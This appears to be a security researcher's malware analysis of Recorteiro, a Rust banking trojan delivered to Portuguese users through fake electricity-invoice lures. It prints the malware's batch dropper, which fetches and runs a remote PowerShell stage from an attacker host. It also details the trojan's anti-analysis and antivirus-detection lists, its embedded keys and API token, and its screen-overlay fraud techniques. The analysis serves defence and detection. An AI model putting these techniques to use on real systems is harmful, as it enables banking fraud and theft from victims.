TL;DR
- Fake “EnergiaLusa” electricity bills are infecting Windows users in Portugal with Recorteiro, a new banking trojan written from scratch in Rust.
- Its signature trick is to cut a hole in a fake full-screen overlay, so the victim types a bank code into the real banking page while a human operator drives the session live over WebRTC.
- It also steals passwords, cookies, cards and crypto wallets. Every install has a unique hash, and the list of targets is pushed by the server. In our lab that list included Millennium bcp, Novo Banco, Santander and BPI.
- The operators are always watching: when a victim opens a targeted bank or exchange, the malware alerts the C2 instantly and the panel plays an alert sound, so an operator can jump in and monitor the session in real time.
- The kit is built for affiliates (at least four IDs found) and shows strong signs of Brazilian origin.
- Three panels, one business: a delivery console with tokenized links and an anti-Defender test desk (LoaderWeb), the CryptoPRO-X operations room, and a separate Android banking-fraud console (CyberControle).
Introduction
We analysed a campaign targeting Portugal that uses fake electricity invoices to install Recorteiro (also known by its operators’ names, “WindowsHelpers” and “CryptoPRO-X”). This banking trojan was written from scratch in Rust and is built to serve multiple affiliates: we found at least four distinct affiliate IDs across its builds. It combines fraud screens, live remote control and an operator who hand-picks which victims to attack.
Portugal has been a steady target for Latin American banking malware for years, and we have followed several of these threats on this blog:
- Lampion (December 2019) spread through emails that imitated the Portuguese tax authority. Later waves used other trusted brands.
- Grandoreiro (May 2020) added Portuguese banks to its target list and gained new C2 features.
- Javali (February 2021) abused a legitimate Avira antivirus component to load its payload.
- Anubis (November 2020) was a phishing operation aimed at Brazilian and Portuguese users. A central back office drove many front-end phishing servers through a sync server.
The recipe is well known: a lure in Portuguese, a fake screen on top of the bank’s website, and an operator who completes the fraud by hand.
Recorteiro keeps the recipe but changes almost every tool:
- Rust instead of Delphi. The code was written from scratch in Rust rather than the Delphi typical of this family of threats. It ships as an encrypted, signed payload that is re-stamped on every victim.
- WebRTC for remote control. The operator watches and drives the victim’s screen live, in the browser, through cloud relays.
- The real bank page. The fraud screens let the victim type into the genuine bank website, seen through a hole cut in the overlay, instead of into a fake form.
- A platform, not a tool. Recorteiro is built to be shared: each build carries an affiliate ID, each victim is tagged with its “owner”, and the panel pushes each affiliate’s list of targets.
Figure 1: The fake “EnergiaLusa” and “EDP” customer area It shows an electricity invoice with a Multibanco payment reference, a CPE code and E-Redes as the distributor, and asks the victim to download the “invoice” as a compressed PDF (ZIP).
How it works
Recorteiro reaches the victim in four stages, and each one only does enough to fetch the next. The victim downloads an “invoice” from the phishing page. A batch file and a PowerShell script then pull down a Rust loader. The loader installs itself, sets up persistence and downloads the real payload: an encrypted, signed core that is re-stamped on every machine. Once the core is running, it connects to the attackers’ C2 and waits for an operator. In a controlled execution, the whole chain from launching the loader to the first contact with the C2 took about 18 seconds.
Figure 2: Infection chain of Recorteiro, with the main indicators of each stage. Times are measured from the moment the loader starts. (click to enlarge)
- Initial Access – Phishing page:
energialusa[.]comandedp-fatura.accessrdp[.]digitalimitate the customer area of an electricity supplier. They show an invoice with a Multibanco reference, a CPE code and E-Redes branding. The “Download invoice” button delivers a ZIP file. - Stage 1 (BAT): the ZIP contains a batch file. It relaunches itself minimised and uses the Windows
curl.exeto fetch a PowerShell script fromssl.whbridge[.]com. - Stage 2 (PowerShell): the script decrypts (AES) and runs its second layer. That layer downloads the loader from
sv2.whbridge[.]comand launches it silently. - Stage 3 (Rust loader): the loader copies itself to a randomly named folder in
%LOCALAPPDATA%and sets up persistence. It then downloads the encrypted and signed core fromsv1.whbridge[.]com. - Per-victim core: the loader decrypts the core and re-stamps it with machine-specific data, so the file written to disk has a hash unique to that victim.
- Stage 4 (banking RAT): the core connects to
windowshelpers[.]comand waits for instructions from the CryptoPRO-X panel.
Behind the chain there are three layers of infrastructure:
- the delivery front-end (phishing pages and download servers);
- the C2 server, which every infected machine connects to;
- the back office, where affiliates and operators watch victims and commit the fraud.
Figure 3: Recorteiro infrastructure. Affiliates create tokenized download links in the LoaderWeb console, and victims are lured to the delivery front-end, which serves the phishing pages and the payloads (①). Every infected machine keeps a WebSocket channel open to the C2 server (②). Operators drive live sessions, push target lists and trigger fraud screens from the CryptoPRO-X back office, which also manages affiliates, stamps loaders with their IDs and publishes core updates (③). Cloud services handle C2 discovery (Supabase), screenshot storage (Cloudflare R2) and live screen streaming (Cloudflare TURN). A third panel, CyberControle, on a domain registered the same day as the C2, runs Android banking fraud against Brazilian bank customers.
Digging into the details
Before we look at the RAT itself, this section walks through each delivery stage with the code and artefacts we recovered.
Initial Access – Phishing page
Both variants of the page (Figure 1) use the same template: a convincing customer area with an invoice number (FT 2026/001842), a CPE code, a bi-hourly tariff, E-Redes as the distributor, a Multibanco payment reference, an IBAN and a support line. The lure is a single sentence: “to guarantee the integrity of the document, download it… File in compressed PDF format (ZIP)”. The “Download invoice” button delivers Fatura-N9588.zip, which contains one file: Fatura-N1408.bat (or a similar name / derivation).
Stage 1: the batch file
File: Fatura-N1408.bat (inside Fatura-N9588.zip)
Size: 868 bytes
SHA-256: f9279e504cc44524d610e8203e2bb9ae8a871803350289da50dbbc9aefaf5191
MD5: 7c4bb43c57c3c8d183a110cc1ff1a5a1
Created: 2026-10-30 02:56 (timestamp inside the ZIP)
ZIP SHA-256: 29846c2dd7fc41294cdd41b03985d4c055187292590c8ad1f0092a7a69d23f60
The script is short and readable (URLs defanged):
@echo off
if not "%~1"=="m" (
start "" /min cmd /c "%~f0" m
exit /b
)
...
set "TMPF=%TEMP%\ld%RANDOM%.ps1"
curl.exe -s -o NUL --max-time 5 "hxxps://ssl.whbridge[.]com/l/LDCdugBE0AoJ/e?t=s"
:again
curl.exe -sfSL --max-time 25 -o "!TMPF!" "hxxps://ssl.whbridge[.]com/l/LDCdugBE0AoJ/p"
for %%A in ("!TMPF!") do set "SIZE=%%~zA"
if !SIZE! gtr 100 goto :fetch
...
:fetch
powershell -NoP -EP Bypass -File "!TMPF!"
...
:finish
del "!TMPF!"
if "!OK!"=="0" curl.exe -s -o NUL --max-time 5 "hxxps://ssl.whbridge[.]com/l/LDCdugBE0AoJ/e?t=x"
What it does:
- Relaunches itself minimised, so the victim only sees a console window flash.
- Sends a start beacon (
e?t=s).LDCdugBE0AoJlooks like a campaign or link ID. - Downloads the next stage with the Windows built-in
curl.exeinto%TEMP%\ld<random>.ps1. It retries up to 8 times, 2 seconds apart, and only accepts a file larger than 100 bytes. - Runs it with
powershell -NoP -EP Bypass, deletes it, and reports a failure beacon (e?t=x) if anything went wrong.
Stage 2: the PowerShell dropper
File: %TEMP%\ld<random>.ps1, layer 1 (AES wrapper, as served by ssl.whbridge[.]com/l/LDCdugBE0AoJ/p)
Size: 3,845 bytes
SHA-256: 2612a7d4a4376fd2d5fe96bc071ffe9cdc0f7af0e3889c8755b900f21f2862a6
MD5: b5e8864b80658f1fadc79e38a0b478a5
Collected: 2026-11-02 (regenerated by the server: other victims get a different hash)
File: layer 2 (decrypted dropper, runs in memory via iex)
Size: 2,529 bytes
SHA-256: 2462870dfb749b3e3c2ac91e5e49f82cbfc7401978c53055fbdfb19b541803b1
MD5: 022b4aac0cf43f92ffba81812c27279b
The script served by /l/LDCdugBE0AoJ/p has two layers. The first is an AES wrapper with random variable names. The ciphertext, the key and the IV are all in the script as Base64 strings:
The decrypted second layer is the actual dropper (trimmed):
What it does:
- Downloads the loader from
sv2.whbridge[.]com/gringo.exeintoC:\Users\Public\AppCache\upd_<6 digits>.exe. The file namegringo.exematches the affiliate ID found inside the loader,GringoFR. - Runs it with the silent switches of both NSIS and Inno Setup. The dropper is generic: it works for installers and plain executables alike.
- Takes a snapshot of the folders in
%LOCALAPPDATA%,%APPDATA%,%ProgramData%and%ProgramFiles%before running the loader. Afterwards it looks for the newest new or modified folder to confirm that the installation happened. - Keeps a log in Portuguese in
C:\Users\Public\AppCache\boot.log(init,alvo,origem ok,lancado rc=,realocado,concluido). - Reports success to the server (
e?t=d) and deletes the downloaded executable.
Stage 3: the Rust loader
File: gringo.exe (copies itself to %LOCALAPPDATA%\<Word><Word><hex4>\<Word><Word><hex4>.exe)
Size: 2,049,287 bytes
SHA-256: aad36faec050acd5cf6dc76d588f204bdb4b9e25f7577d0a1444d433eddc201b
MD5: 5d46e341b8ab807f3ad9ea37ab1a8001
Imphash: 40e8867f97e196730ba0f6569fc1524b
Compiled: 2026-09-27 05:29:52 UTC
Version info: WindowsHelpers · “WindowsHelpers Remote Support Launcher” · RuntimeLauncher.exe
Toolchain: Rust (rustc 1.91.1), rustls, ring
This is a polymorphic builder. The code section is identical across all the loader builds we collected. Each build only changes:
- an appended ZIP of decoy files (
manifest.xml,config.json,license.txt, fake UTF-16 “localisation tables”), which changes the hash and lowers the entropy; - a set of named data sections with ASCII markers.
REFSLOTholds the affiliate ID in clear text (GringoFRin this campaign).MINTKEYholds the 32-byte key that decrypts the core. The others hold random padding.
Names that change on every install. Folder, executable and Run-key names are built by the same routine. It derives four bytes, uses the first two (masked to 0–63) to pick two words from a built-in list of 64, and prints the last two as hex digits.
The result is names such as BrookWillow1f8e\PebbleMistralbabb.exe for the loader, SpruceCobaltd55b.exe for the core and DeltaAspenb760 for the “Run value” in the Windows Registry key.
Figure 4: How the loader names its files. On the left, the built-in list of 64 words. On the right, the routine that picks two of them with four derived bytes (& 0x3F) and appends four hex digits, producing names such as BrookWillow1f8e.
Figure 5: Recorteiro installed on the victim machine. (a) A randomly named folder in %LOCALAPPDATA% holds the loader, the core (both with a Defender-like shield icon), the x264 DLL and the state files; note the back-dated modification times. (b) The Run value that starts the loader at logon has an equally random name, DeltaAspenb760, sitting next to legitimate entries such as Edge and OneDrive.
What it does (from its own log strings, in Portuguese without accents):
- Persistence through a
HKCU\…\Runvalue with a random name, a scheduled task (WinSysMonitor, every 15 minutes) and a Windows service. - Supervises the core: it starts it, detects crashes, rolls back to the previous version (
.prev) and pauses updates for 6 hours if the server keeps serving a build that crashes. - Conditional updates using the server’s ETag/Last-Modified headers, with a small JSON cache next to the executable.
- Only accepts signed payloads: every update has a detached Ed25519 signature (
sig_invalid: assinatura nao confere). - Deletes the original dropper:
cmd /c "ping -n 6 127.0.0.1 >nul & del /f /q <self>".
Figure 6: The loader’s own log and update cache on the infected machine (timestamps are Unix epoch). The log shows the service install and hand-off, retries with growing back-off (30, 60, 120 s), the key injected into the core before launch, the scheduled task registered via COM every 15 minutes, and the crash detection that drives the rollback logic. The cache stores the ETag and Last-Modified of the payload used for conditional updates.
The payload: one core, a unique hash per victim
The RAT itself, a ~23 MB core, is fetched by the loader, not by the PowerShell script. About nine seconds after the loader starts, it downloads hxxps://sv1.whbridge[.]com/agent_6fd26a51.bin, decrypts and verifies it, and writes it next to itself as another randomly named executable (SpruceCobaltd55b.exe). The loader’s log records the moment: agent_key_injected, agent_dl: 23494144 bytes, agent iniciado pid=… (Figure 6).
File: agent_6fd26a51.bin (WBX1 container, as served by sv1.whbridge[.]com)
Size: 23,494,164 bytes
SHA-256: 8cc43499688713769ad43443a37b770002468940514ad2f46af7b570a3df7fb2
MD5: b7e54d2544a8f947d33463bc6f7b4fca
Uploaded: 2026-10-15 03:22:43 UTC (server Last-Modified)
File: canonical core, decrypted from the container (“WindowsHelpers Remote Support Core” 1.8.0, WHCore.exe)
Size: 23,494,144 bytes
SHA-256: 2831d41fd7f3b41751f8237322e03b4310b4e155ff9f78ba23553bc172eaac28
MD5: e256797d10d48d6b49b757f837a7c495
Imphash: 81a0ac09f684d90a9f4b2be3acc73a9e
Compiled: 2026-10-15 02:34:45 UTC
File: installed core, machine 1 (MarbleMaplecbb2.exe)
SHA-256: 0bfe1e434a86fd79d1691a6adfc982a298f1deca27c3fed984e3d703c3fa2afd
File: installed core, machine 2 (SpruceCobaltd55b.exe)
SHA-256: 7d3f3e5fef068ae743a8ff7140d746d92650d6fadf146b4f9806ec41097731dd
Same size, same code, three different hashes. The rest of this section explains why.
The core is never served or stored in clear. On the distribution server, sv1.whbridge[.]com, it is stored as agent_6fd26a51.bin, a small container we call WBX1:
0x00 "WBX1" magic (4 bytes) 0x04 IV / initial counter 16 bytes 0x14 AES-256-CTR(MINTKEY, IV) the core PE (23,494,144 bytes)
The key is the MINTKEY stored in clear in the loader, so anyone with a loader can decrypt any payload from the server:
The real protection is the signature, not the encryption. Before writing the core to disk, the loader then re-stamps it. It injects its key into a slot called AGKEY001 and regenerates about 16 KB of padding in a slot called AGMINTPD.
The core’s SHA-256 is different on every infected machine. The canonical hash never touches the victim’s disk, so hash-based blocking of the core is useless. Detection has to rely on content (our YARA rules cover the slots, the strings and the modules) and on behaviour.
Why Defender did not stop it?
On our first run, Microsoft Defender recognised the loader and quarantined its copy. The loader’s hash is the same for every victim, so it is easy to sign. But it was too late: within 40 ms the loader had copied itself, and within ten seconds it had fetched the core inside its encrypted container and written it with a hash unique to that machine. Defender had never seen that file. The core kept running and connecting to the C2 even after the loader was gone. Polymorphism here is not about evading the first detection but about outliving it.
Inside the RAT core
The core is where Recorteiro does all of its work. It is a ~23 MB Rust binary that presents itself as “WindowsHelpers Remote Support Core”. Its build paths reveal a modular design, with separate modules for remote control, fraud overlays, credential and wallet theft, the browser extension, and evasion. The loader only installs and supervises it: every anti-analysis check, every connection to the C2 and every fraud action happens inside the core.
Once it starts, the core goes through four phases.
Figure 7: What the Recorteiro core does after it starts, and where evasion, targeting and fraud happen.
- Evade. The core checks whether it is running in a virtual machine or sandbox, and looks for 23 analysis tools. It also inventories 23 antivirus and EDR products. It does not try to kill them: it reports them to the operator, who decides what to do. If it suspects analysis, it warns the panel instead of simply exiting.
- Connect. It reads the current C2 address from a cloud database (Supabase), with a hard-coded fallback, and registers the victim. The registration includes a detailed system profile and the affiliate ID that “owns” the victim. From that moment on, keystrokes, alerts and stolen data travel encrypted end-to-end, on top of TLS, so they cannot be read even if the TLS traffic is intercepted.
- Watch. The server pushes the list of targets: banks, crypto exchanges, wallets and seed-phrase keywords. The core matches every window title and process against that list. When the victim opens a target, the operator is alerted in real time, and a human decides whether the victim is worth attacking or looks like a lab.
- Act. The operator takes over. They can watch and control the screen live over WebRTC, cover it with a fraud overlay (including the “live hole” over the real bank page), steal cookies, passwords, cards and wallets, or route their own traffic through the victim’s machine.
How the core protects itself
Open the core in a disassembler and almost nothing useful shows up. There are no C2 addresses, no wallet names and no antivirus list. Recorteiro hides them behind two separate layers. Both had to be broken before anything else in this article could be read.
Layer 1: an encrypted configuration
The core’s configuration lives in eight small encrypted blobs in .rdata. They are decrypted once, at startup, by a single routine (0x1402F9230) that fills eight lazily initialised Rust strings. The cipher is ChaCha20, and the key and nonce are plain ASCII stored in the binary itself:
Cipher: ChaCha20 (IETF, 20 rounds, counter 0)
Key: cfg-vault-v1-whcore-build-key!!! (32 bytes, in clear in .rdata)
Nonce: cfg-nonce-v1 (12 bytes, built from immediates)
Blobs: .rdata 0x1410CC750–0x1410CC930 (8 entries)
Figure 8: Where the configuration key comes from. (a) The 32-byte ChaCha20 key sits in clear in .rdata, right next to the key of the Chrome helper (covered later) and the developer’s build path. (b) The decryptor builds the ChaCha20 state by hand: the “expand 32-byte k” constant, the key, a zero block counter and a nonce that is never stored as a string, only as two immediates (“cfg-nonc” + “e-v1”).
Our reimplementation of that routine in Python:
What the eight blobs contain:
| Value | What it is for |
|---|---|
hxxps://xzlixtrtllsbljtupsdn.supabase[.]co |
Cloud database used to look up the current C2 |
eyJhbGciOiJIUzI1NiIs…rFyCr9OwI |
Supabase anonymous API key (JWT). Its payload, {"iss":"supabase","ref":"xzlixtrtllsbljtupsdn","role":"anon","iat":1779557447,"exp":2095133447}, dates the backend to 23 May 2026, valid until 2036 |
wss://windowshelpers[.]com:443/ws |
Hard-coded fallback C2 |
3a16d59ed3f0bea0a71f164b41711a8af8fb0c556b5a618c4827488404b673f9 |
Ed25519 public key that signs loader updates (loader.exe.sig verifies against it) |
e8edab49d6ddfe94b20cc4fc5d79232dc112b4914732a5400e5d029eedbffe75 |
Server X25519 public key used to encrypt stolen data end-to-end |
WinSysMonitor |
Name of the scheduled task that re-launches the loader every 15 minutes |
WindowsHelpers Remote Support |
Product / service name |
codex |
Default affiliate reference, used when the HBR_REFERENCE environment variable is not set |
Because the key and nonce are fixed, every 1.8.0 build shares them. Anyone with a sample can read its configuration.
Layer 2: 621 strings hidden behind 602 functions
Everything else that would give the malware away is protected by a second, much more unusual scheme. This covers the antivirus list, the wallet extension IDs, the browser paths, the C2 commands and the Windows API names. It is applied string by string at compile time.
Each string is reached through its own tiny function, 602 of them in total, all with control-flow flattening:
lea rax, [rip + FAKE_BLOB] ; a pointer to the wrong place mov [slot], rax mov rcx, [slot] ; laundered through memory so the compiler can't fold it mov dword [slot], 0xFBD95391 ; per-string seed mov edx, [slot] call XREF_n ; flattened state machine: returns FAKE_BLOB + (f_n(seed) & 0xFFFF) mov rsi, qword [rax] ; read the real (still encoded) bytes movabs rcx, 0x811B8B03F4E45898 add rsi, rcx ; plaintext = bytes + constant (mod 2^64)
Three consequences make this painful for analysts:
- No string in the binary is in clear.
- The disassembler’s cross-references point to the wrong data, because the real address only exists at run time.
- The decoding constants live in the code as immediates, not in a data table that could be dumped.
A worked example, the string metamask:
| Step | Value |
|---|---|
| Call site, fake pointer, seed | 0x1404E3BA0, 0x1410E483F, 0xFBD95391 |
XREF_n(fake, seed) → real blob |
0x1410EBD50 |
| Encoded bytes (one qword, little-endian) | d5 0c 90 6c 69 d6 57 ea |
+ 0x811B8B03F4E45898 (mod 2⁶⁴) |
6d 65 74 61 6d 61 73 6b = metamask |
Figure 9: How one obfuscated string is recovered. (a) At the call site, the core loads a pointer to the wrong data and a per-string seed, and calls its dedicated function. (b) That function is a flattened state machine (ecx holds the state) that transforms the seed into a 16-bit offset and adds it to the fake pointer. (c) Adding the 64-bit constant that follows the call to the bytes at the real address yields the string metamask.
To recover all of them without running the malware, we wrote a small x86 interpreter in Python. It handles about 20 instructions and evaluates each flattened XREF_n from its seed, then applies the immediates that follow the call.
It finds 624 references and decodes 621 strings; the remaining three point to data, not text.
The decoded strings are the backbone of the rest of this analysis: what the core looks for, what it steals and what the operator can order it to do.
Now, let’s digging into the RAT phases as presented in Figure 7.
Phase 1: Evade
With the strings decoded, the core’s checks become readable. They fall into three groups: virtual machines and sandboxes, analysis tools, and security products. What stands out is not the list itself, which is fairly standard, but what the core does when something matches.
Virtual machines, sandboxes and analysis tools
| Check | What the core looks for |
|---|---|
| VMware / VirtualBox | Registry keys SOFTWARE\VMware, Inc.\VMware Tools and SOFTWARE\Oracle\VirtualBox Guest Additions; services VBoxGuest, vmci, vmhgfs; drivers VBoxMouse.sys, VBoxGuest.sys, vmci.sys, vmhgfs.sys |
| CPU | HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString |
| Sandbox user | The user name hapubws, known from public lists of automated sandboxes |
| Disk | A check on C:\ (most likely its size) |
| 23 analysis tools | ollydbg.exe, x64dbg.exe, x32dbg.exe, ida.exe, ida64.exe, idaq.exe, idaq64.exe, windbg.exe, processhacker.exe, procmon.exe, procmon64.exe, procexp.exe, procexp64.exe, wireshark.exe, fiddler.exe, charles.exe, dnspy.exe, pestudio.exe, regmon.exe, filemon.exe, apimonitor-x86.exe, apimonitor-x64.exe, tcpview.exe |
| Debugger | IsDebuggerPresent, CheckRemoteDebuggerPresent and timing checks |
When it detects analysis, Recorteiro does not just quit. Instead it:
- tells the operator, sending the panel an
agent_about_to_be_detectedmessage with the checks that fired; - lets the server decide what to do next (pause, slow down or wait), through a policy pushed from the C2;
- keeps a self-destruct command switched off in this build. If it stops, the loader simply reinstalls it.
The core also has a configurable “sandbox block” whose built-in allowlist names *.group-ib.com, a threat-intelligence and incident-response company. The malicious extension skips the same domain.
Security products: inventory, not attack
The av_detector module looks for 23 security products by process name, service name and through the Windows Security Center (SOFTWARE\Microsoft\Security Center\Provider\Av):
| Vendor | Processes / services looked for |
|---|---|
| Microsoft Defender | MsMpEng.exe, MpDefenderCoreService.exe, NisSrv.exe, WinDefend, WdNisSvc, MdCoreSvc |
| Kaspersky | avp.exe, avpui.exe, AVP, klnagent |
| ESET | ekrn.exe, egui.exe, ekrn, ESET Service |
| Bitdefender | bdservicehost.exe, bdagent.exe, vsserv.exe |
| CrowdStrike Falcon | CSFalconService.exe |
| SentinelOne | SentinelAgent.exe, SentinelServiceHost.exe |
| Sophos | SAVService.exe, sophosui.exe, Sophos Agent |
| Others | McAfee, Norton/Symantec, Avast/AVG, Trend Micro, Malwarebytes, Webroot, F-Secure, Comodo, Panda, 360 Total Security, Quick Heal, Avira, Carbon Black, Cylance, VIPRE, Emsisoft |
When it finds a security product, Recorteiro:
- records its name, how it was found (
registry,serviceorprocess) and whether it is active (ProductState); - reports it to the panel (
av_inventory,security_software_interference, andconnection_health.security_interference_disconnectif the product cuts the connection), so the operator knows exactly what protects the victim; - does not kill or disable it. We found no termination or tampering routines. Recorteiro’s evasion relies on not being detected in the first place: obfuscation, a unique hash per victim and signed payloads.
We saw this in our lab. Seconds after registering, and before the operator sent a single command, the core reported the test machine’s protection to the panel: Microsoft Defender, found both in the registry and as a running process, and active. The operator then started watching the screen with a stream of screenshot requests and listed the displays (Figure 10; more in “The human in the loop section below”).
Figure 10: The core reports the victim’s antivirus to the C2 on its own. (a) The av_inventory message sent right after registration. (b) The same decrypted C2 session continues with the operator requesting screenshots every few seconds and the list of displays. Agent ID partially redacted.
Phase 2: Connect
Finding the server
Recorteiro does not depend on a single hard-coded address. At startup the core asks a Supabase cloud database for the current C2, using the anonymous API key from its configuration:
GET hxxps://xzlixtrtllsbljtupsdn.supabase[.]co/rest/v1/server_config?select=url&id=eq.1&limit=1 apikey: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6Inh6bGl4dHJ0bGxzYmxqdHVwc2RuIiwicm9sZSI6ImFub24iLCJpYXQiOjE3Nzk1NTc0NDcsImV4cCI6MjA5NTEzMzQ0N30.pxrePaGcUQ5PF8HWDjxTuCfwYXYy6anNb-rFyCr9OwI Authorization: Bearer <same JWT>
The answer is a single row with a URL, which the core re-queries periodically. Editing that one row moves the whole fleet to a new server. If Supabase is unreachable, the core falls back to the address in its configuration, wss://windowshelpers[.]com:443/ws. By early November the Supabase project had already been taken down, and infected machines kept working through the fallback (/windowshelpers[.]com).
One WebSocket for everything
The C2 channel is a single WebSocket over TLS to windowshelpers[.]com/ws, behind Cloudflare. The core uses the Windows TLS stack (Schannel) and does not pin certificates.
Figure 11: The core opens wss://windowshelpers.com/ws, the server answers 101 Switching Protocols. This capture is from the first attempts, when the server kept closing the connection (code 1005) because of rate limiting.
All messages are JSON objects with a type field. The binary names 37 types; the ones we saw in live traffic fall into a few groups:
| Group | Messages |
|---|---|
| Registration | register, system_info_update, error (agent_register_rate_limited, agent_banned) |
| Target lists (server → core) | keywords_sync, wallet_apps_sync |
| Telemetry | active_window_update, av_inventory, agent_runtime_metrics, media_health |
| Remote control | agent_command, command_response, remote_input |
| Live screen (WebRTC) | sfu_publish_request / offer / answer, set_video_profile |
| Stolen data | encrypted_data |
What the C2 learns about the victim
The first messages describe the machine in detail: host and user names, Windows build, CPU and memory, antivirus, displays, session and privilege level, installed applications, a thumbnail of the screen, and the health of the loader and its persistence.
They also carry the affiliate reference that “owns” the victim (GringoFR in this campaign) and the core’s public key for this connection (Figure 12).
Figure 12: What the C2 learns about the victim, from the register and system_info_update messages captured (merged and trimmed; identifiers redacted). Note the affiliate reference and the Portuguese-language field value "uac_level":"USUARIO".
The client ID is simply agent- followed by the MAC address of the network card.
Stolen data is encrypted twice
The machine profile travels in clear inside TLS. The sensitive data does not. Keystrokes, alerts about banking windows, and the results of wallet and application scans go inside encrypted_data messages, with a second layer of encryption on top of TLS:
- For every connection the core generates an ephemeral X25519 key pair and sends the public half in
register. - It combines the private half with the server’s public key from its configuration. The shared secret is used directly as a ChaCha20-Poly1305 key.
- Each message uses a counter as nonce (
00000000 || seq), so the sequence number is visible at the start of every blob.
{"type":"encrypted_data","agent_id":"agent-<MAC>","inner_type":"app_scan",
"encrypted_data":"AAAAAAEAAAAAAAAA…"}
The effect is that even someone who intercepts the TLS traffic, such as a corporate proxy, a sandbox or a researcher, cannot read the keystrokes without the server’s private key. The weak point is that the session key stays in the core’s memory for its whole lifetime: with a memory dump and a capture of the traffic, the messages can be decrypted.
Two side channels: screenshots and live video
Two kinds of data do not go through the WebSocket at all.
Screenshots go to cloud storage. When the operator wants to see the screen, the panel sends a command with a pre-signed upload URL on thumbs.windowshelpers[.]com, a Cloudflare R2 bucket. The core uploads a JPEG straight to it and returns a read-only link for the panel. Both links expire within minutes, and the bucket is organised per affiliate (refs/GringoFR/agents/…). In our lab the operator requested one every 3–4 seconds (Figure 13).
Figure 13: How a screenshot leaves the victim’s machine, from our lab traffic: (1) the operator’s command with a pre-signed upload URL, (2) the core’s upload to the attackers’ Cloudflare R2 bucket, (3) the read-only link the panel uses to display it. Agent IDs and signatures redacted.
Live video goes over WebRTC. For real-time control, the core encodes the screen in H.264, using the libx264 DLL that the loader downloads, and publishes it to a media server through Cloudflare’s TURN relays. The operator’s mouse and keyboard come back as remote_input events over the WebSocket.
Phase 3: Watch
The target list comes from the server
The core does not know which banks to attack until it is told. Right after an accepted registration the server pushes two lists:
keywords_sync: 164 keywords to watch for in window titles, browser tabs and process names;wallet_apps_sync: 90 desktop and hardware wallet applications, with their executables and install paths, plus 55 wallet browser extensions.
| Category | Entries | Examples |
|---|---|---|
| Custom / bank, added for this campaign | 25 | At priority 100 (the maximum): Millennium, Novo Banco, Santander, BPI Net Empresas, “Bankerinter” (sic), BBVA, BrasilCard, Interbank, SBI, “gerenciador caixa”. At priority 3: Banco do Brasil, Bradesco, Sicoob, Sicredi, “banco”, “banking” and a few exchanges |
| Crypto exchanges | 64 | Binance, Coinbase, Kraken, KuCoin, OKX, Bybit, MEXC, Gate.io, Crypto.com |
| Wallets | 38 | MetaMask, Phantom, Trust Wallet, Exodus, Ledger, Trezor, Solflare |
| Crypto and DeFi | 21 | Uniswap, PancakeSwap, OpenSea, 1inch, “staking”, “airdrop” |
| Sensitive (priority 5) | 16 | “seed phrase”, “recovery phrase”, “private key”, “mnemonic”, “12 words”, “24 words”, “keystore” |
See the “Appendix: full target lists pushed by the C2” at the end of the article.
Two details stand out:
- The Portuguese banks carry the highest priority. The built-in categories (exchanges, wallets, crypto, seed phrases) use priorities between 2 and 5. The banks sit in a separate
customcategory, and the Portuguese ones, with a few others, are set to the maximum, 100. This fits the affiliate model: the product ships with a generic crypto list, and each affiliate adds the banks of the country it targets. The typo “Bankerinter” for Bankinter suggests the list was typed by hand. - The Portuguese focus is on Millennium bcp, Novo Banco, Santander and BPI.
Figure 14: The target lists pushed by the C2. (a) An excerpt of the 164 keywords, with the affiliate’s Portuguese banks at priority 100. (b) A wallet application entry, with every path where the core will look for it. (c) What the core reports when the victim opens a bank.
When the victim opens a bank
From that moment the core watches the foreground window every few seconds:
- Every window change is reported (
active_window_update) with its title, process and time. - When a title or process matches the list, the core sends a
title_matchorprocess_matchalert. These alerts travel insideencrypted_data, so only the server can read them. Matching supports whole words, exact phrases, domains in the title and process aliases, with exclusions to avoid false positives. - The alert reaches a human. The panel flags the victim to the operator in real time, who can then open the screen and decide whether to act. The core never attacks a bank page on its own.
- Wallets are the exception. For wallet extensions and desktop wallets the core steals automatically, without waiting for the operator (see Phase 4).
Figure 15 shows what this looks like from both sides. As soon as the test machine opened the Banco Montepio PIN page, the core was already uploading screenshots of it to the attackers’ bucket.
Figure 15: The victim opens a bank. Left: victim machine on the Banco Montepio PIN page. Right: proxy at the same moment, showing the core uploading screenshots (PUT …/upload/refs/GringoFR/agents/…) to the attackers’ Cloudflare R2 bucket while the C2 WebSocket stays open.
Phase 4: Act
When the operator decides a victim is worth it, Recorteiro offers several ways to commit the fraud. They can be combined in the same session. We start with the one that gives the family its name.
Fraud screens and the “live hole”
Classic banking trojans redirect victims to fake pages or draw fake login forms. Recorteiro does something more subtle: it lets the victim type into the real bank website, and hides everything else.
The core opens a full-screen, always-on-top WebView2 window over the victim’s desktop. Its background is a blurred screenshot of the victim’s own screen, so nothing looks out of place. Then, in the mode the author calls “Recort”, it cuts a hole in that window (CreateRectRgn, CombineRgn, SetWindowRgn) and moves the real browser so that one field of the genuine bank page sits exactly under the hole. Around the hole it draws a card that looks like a security notice from the bank:
Atenção — Precisamos que informe as informações solicitadas para que volte a navegação normal e segura do seu banco online. ("Attention: please provide the requested information so that normal and secure browsing of your online bank can resume.")
A variant for crypto exchanges ends with “…para que volte o acesso normal e seguro à sua conta” (“…so that normal and secure access to your account can resume”).
Figure 16: How the “live hole” works (illustration built from the original card script and texts in the binary). (a) The victim sees a security notice with a field in the middle; that field belongs to the real bank page underneath. (b) The real layers: the victim’s own browser at the bottom, Recorteiro’s overlay on top with a hole cut in it, and the overlay hidden from screen capture so the operator sees only the real page.
Three more tricks make it work:
- The operator does not see the overlay. The window is excluded from screen capture (
SetWindowDisplayAffinitywithWDA_EXCLUDEFROMCAPTURE), so the live video shows the real bank page. The operator can drive the session and watch the code being typed. - The victim cannot escape. Input is locked outside the hole and the cursor is confined to the overlay, while the operator’s remote mouse and keyboard still get through (
blocked (hooks-only; remote SendInput allowed)). - No flicker. When the hole closes, it is painted over before the window returns to a waiting screen.
Figure 17 puts it all together: what the victim sees on the left, and what travels between the core and the C2 on the right.
Figure 17: The live hole, step by step. The victim opens the Millennium bcp login page, one of the affiliate’s top targets, and the core alerts the panel. The operator starts watching, locks the screen, then cuts a hole over the real “Código Multicanal” boxes. The victim types the requested digits into the genuine page while the operator watches the live video.
The consequence for banks is serious. Nothing is phished away to another server: the authorisation code is typed into the genuine site, in the victim’s own session, from the victim’s own IP and device. To the bank’s anti-fraud systems it looks like a legitimate customer answering a legitimate challenge.
